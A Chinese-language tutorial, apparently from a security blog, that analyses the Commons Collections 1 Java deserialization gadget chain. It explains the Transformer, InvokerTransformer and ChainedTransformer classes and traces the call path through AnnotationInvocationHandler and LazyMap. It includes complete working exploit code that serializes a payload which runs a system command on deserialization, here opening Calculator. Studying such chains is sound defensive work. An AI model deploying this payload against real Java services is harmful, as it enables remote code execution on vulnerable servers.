前言 在学习CommonsCollection1前先认识一下以下的这些接口和类.
Transformer 
Transformer接口定义了transform方法, 接收一个Object类型的参数
ConstantTransformer 
其类实现了上述的Transformer接口, 在构造方法中接收一个对象, 在transform方法中返回这个对象。
InvokerTransformer 
InvokerTransformer类同样实现了Transformer接口, 具体解释如下图所示, InvokerTransformer的transform方法通过反射调用其方法。
ChainedTransformer 
同样实现Transformer接口, 该类的构造方法接收一个Transformer对象的数组。在transform方法中循环调用Transformer数组中每个对象的transform方法。将上一个transform方法的返回结果作为下一个调用的参数
 
实例分析 基于上述介绍的对象实现命令执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public  class  CommonCollections1   {    public  static  void  main (String[] args)  throws  Exception  {         ChainedTransformer chain = new  ChainedTransformer(new  Transformer[] {                 new  ConstantTransformer(Runtime.class ),                  new InvokerTransformer("getMethod", new Class[] {                         String.class, Class[].class }, new Object[] {                         "getRuntime" , new  Class[0 ] }),                 new  InvokerTransformer("invoke" , new  Class[] {                         Object.class, Object[].class }, new Object[] {                         null , new  Object[0 ] }),                 new  InvokerTransformer("exec" ,                         new Class[] { String.class }, new Object[]{"open  /System/Applications/Calculator.app"})});         chain.transform(123 );     } } 
 
代码可能稍有复杂, 这块需要多多巩固Java反射。
针对上图的内容再做一次文字解释, 希望读者能够在阅读本文的时候避免笔者踩的坑。
首先实例化了一个ChainedTransformer对象, 传入的Transformer数组一共有四个元素, 其中除了第一个元素是ConstantTransformer对象外其他三个均为InvokerTransformer对象。
在代码的20行处调用了ChainedTransformer的transform方法, 其首先调用ConstantTransformer的transform方法传入的参数为123, 该方法会返回一个Runtime的Class对象作为调用InvokerTransformer对象transform方法的参数。根据实例化对象时传入的参数, 该方法便会调用Class类的getMethod方法返回一个Method对象, 继续重复上面的步骤。传入Method对象调用其invoke方法获得Runtime类的对象。最终在循环到第四个元素是便会调用exec方法执行命令了, 结果如下图所示。
 
CommonsCollections1 Gadget Chain 
通过上面的实例分析已经能够获取一条执行任意命令的链了, 但在上述的分析中我们是基于代码本身去主动调用的transform方法, 因此在真实的反序列化漏洞场景中, 需要找到一个能够直接/间接调用transform的gadget。在ysoserial中使用的是AnnotationInvocationHandler类。通过其的readObject方法和动态代理实现调用LazyMap的get方法触发gadget。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Gadget chain: 		ObjectInputStream.readObject() 			AnnotationInvocationHandler.readObject() 				Map(Proxy).entrySet() 					AnnotationInvocationHandler.invoke() 						LazyMap.get() 							ChainedTransformer.transform() 								ConstantTransformer.transform() 								InvokerTransformer.transform() 									Method.invoke() 										Class.getMethod() 								InvokerTransformer.transform() 									Method.invoke() 										Runtime.getRuntime() 								InvokerTransformer.transform() 									Method.invoke() 										Runtime.exec() 
 
在AnnotationInvocationHandler类的readObject方法中调用了memberValues成员变量的entrySet方法, memberValues不被transient或static关键字修饰。所以该属性我们是可控的。并且AnnocationInvocationHandler类实现了InvocationHandler接口与invoke方法。所以该类可作为动态代理使用。
在invoke方法中又调用了memberValue的get方法:
在LazyMap的get方法中调用了transform方法从而实现上面的手动利用链, 这里的factory属性是可控的。所以只要令factory为ChainedTransformer就能完成命令执行的利用链。
代码实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public  class  CommonCollections1   {    public  static  void  main (String[] args)  throws  Exception  {         ChainedTransformer chain = new  ChainedTransformer(new  Transformer[]{                 new  ConstantTransformer(Runtime.class ),                  new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),                 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),                 new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})         });         HashMap hashMap = new  HashMap();         Map lazyMap = LazyMap.decorate(hashMap, chain);                  Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class , Map .class ) ;         handler_constructor.setAccessible(true );         InvocationHandler handler_invocation = (InvocationHandler) handler_constructor.newInstance(Override.class , lazyMap ) ;         Map map_proxy = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new  Class[]{Map.class }, handler_invocation ) ;                  Constructor annotation_invocation_handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructor(Class.class , Map .class ) ;         annotation_invocation_handler_constructor.setAccessible(true );         InvocationHandler annotation_invocation_handler = (InvocationHandler) annotation_invocation_handler_constructor.newInstance(Override.class , map_proxy ) ;                  ObjectOutputStream oos = new  ObjectOutputStream(new  FileOutputStream("cc1" ));         oos.writeObject(annotation_invocation_handler);                  ObjectInputStream ois = new  ObjectInputStream(new  FileInputStream("cc1" ));         ois.readObject();     } }